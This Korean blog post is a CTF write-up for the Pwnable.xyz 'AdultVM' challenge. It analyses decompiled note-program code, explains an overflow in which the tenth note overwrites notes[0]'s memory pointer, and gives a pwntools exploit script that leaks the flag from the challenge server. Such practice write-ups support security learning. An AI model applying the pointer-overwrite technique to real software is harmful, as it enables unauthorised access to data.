tmxklab

[Pwnable.xyz] AdultVM 본문

War Game/Pwnable.xyz

[Pwnable.xyz] AdultVM

tmxk4221 2020. 9. 9. 22:36

1. 문제

nc svc.pwnable.xyz 30048

 

총 6개의 파일이 주어지는데 start.py를 실행시키면 userland, kernel, flag*.txt를 open하여 사용한다. start.py코드를 살펴보면 이전에 baby vm에서 사용했던 유니콘 엔진 코드를 볼 수 있다.

 

참고 : 

 

[Pwnable.xyz] BabyVM

1. 문제 nc svc.pwnable.xyz 30044 1) mitigation 확인 2) 문제 확인 default program을 실행 시킬 것인지 물어봄 'y'를 입력한 경우 : 이름을 입력하고 프로그램 종료 'n'를 입력한 경우 : program을 보내기..

rninche01.tistory.com

 

start.py코드에서 대충 보면 kernel, userland스레드를 2개 생성하는데 user스레드에서는 userland파일을 오픈해서 유니콘 엔진을 사용하여 실행시키고 kernel스레드에서는 kenel파일을 오픈해서 사용한다.

 

그리고 flag1, 2, 3파일이 주어지는데 flag1.txt는 start_userland()로직에서 볼 수 있고 flag2.txt는 start_kernel()로직에서 볼 수 있다. flag3.txt는 안보임; 각각 AdultVM, 2, 3에서 플래그를 찾는데 사용하는 것 같다.

 

 

1) userland파일 mitigation 확인

 

 

2) 문제 확인

  • 노트id와 content를 작성하고 출력해주는 프로그램인듯 하다

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      result = get_int();
      if ( result != 2 )
        break;
      show_note();
    }
    if ( result == 3 )
      break;
    if ( result == 1 )
      edit_note();
  }
  return result;
}
  • 이렇다고 한다

 

3-2) edit_note()

void __cdecl edit_note()
{
  int id; // [rsp+Ch] [rbp-4h]

  do_write(id_str, 9uLL);
  id = get_int();
  if ( id >= 0 && id <= 9 )
  {
    if ( !notes[id].note )
    {
      notes[id].note = &memory[memory_ptr];
      notes[id].size = 0x38LL;
      notes[id].serial = (unsigned int)(((0x19660D * id + 0x3C6EF35F) >> 0x1F) + 0x19660D * id + 0x3C6EF35F)
                       - ((unsigned __int64)((unsigned __int128)(0x19660D * id + 0x3C6EF35F) >> 0x40) >> 0x20);
      memory_ptr += notes[id].size;
    }
    do_write(contents_str, 0xBuLL);
    notes[id].id = id;
    notes[id].show = (void (*)(size_t, char *, size_t, uint64_t))print_note;
    notes[id].size = read_line(notes[id].note, 0x40uLL);
  }
}
  • notes에 대한 인덱스(id)의 범위 : 0 ~ 9
  • 처음에는 notes[id].note에는 아무런 값이 없으므로 if문 안의 로직이 실행됨
  • notes[id].note에는 memory[memory_ptr]주소 값이 저장되고 size는 0x38, serial에는 어떤 값이 들어오는데 아직 뭔지 모르겠다. 그리고 memory_ptr에는 notes[id].size값이 들어간다. 이후에 note를 계속 추가하다보면 0x38만큼 계속 증가하여 memory_ptr에 들어간다.
  • 그리고 notes[id].id에 id값을 저장하고 notes[id].show에 print_note함수 포인터가 저장된 다음 마지막으로 notes[id].note에 입력 값을 받고 size변수에 read_line의 리턴 값이 저장된다.

 

3-3) show_note()

void __cdecl show_note()
{
  int id; // [rsp+Ch] [rbp-4h]

  do_write(id_str, 9uLL);
  id = get_int();
  if ( id >= 0 && id <= 9 )
  {
    if ( notes[id].show )
      notes[id].show(notes[id].id, notes[id].note, notes[id].size, notes[id].serial);
  }
}
  • notes의 id를 선택하면 해당 notes[id].show에 저장된 print_note함수를 실행시킨다.

 

bss영역)

 

data영역)


2. 접근방법

 

먼저, 노트를 3개 생성하였을 때 어떤 구조인지 확인해보자

 

대충 그림을 그리면 요런 느낌이다.

 

근데 만들 수 있는 notes의 수는 0 ~ 9까지이므로 총 10개 생성할 수 있다.

한 개의 notes를 생성하면 memory변수에는 총 0x38크기의 데이터를 저장할 수 있다. 그럼 총 10개를 만들면 0xa(10) * 0x38 = 0x230크기를 가질 수 있는데 memory 시작 주소 0x4100180에 0x230을 더하면 0x41003b0이므로 마지막 notes를 생성하면 notes[0]을 덮을 수 있다.

 

show_note()함수에서는 notes의 print_note를 호출할 때 데이터가 저장된 memory ptr을 파라미터로 넘겨주므로 위 취약점을 이용하여 notes[0]의 memory ptr주소 대신에 data영역에 존재하는 flag변수의 주소 값을 넘겨주자

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)

flag = 0x4100000

def edit(idx, content):
    p.sendlineafter("3. Exit\n", str(1))
    p.sendlineafter("Note id: ", str(idx))
    p.sendlineafter("Contents: ", content)

def show(idx):
    p.sendlineafter("3. Exit\n", str(2))
    p.sendlineafter("Note id: ", str(idx))


for idx in range(0, 9):
    edit(idx, "A")

edit(9, p64(0)*2 + p64(flag) + p64(0x30))
show(0)

p.interactive()

 

2) 실행결과

 

 

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] AdultVM 3  (0) 2020.09.09
[Pwnable.xyz] AdultVM2  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
[Pwnable.xyz] fishing  (0) 2020.09.09
[Pwnable.xyz] knum  (0) 2020.09.09
Comments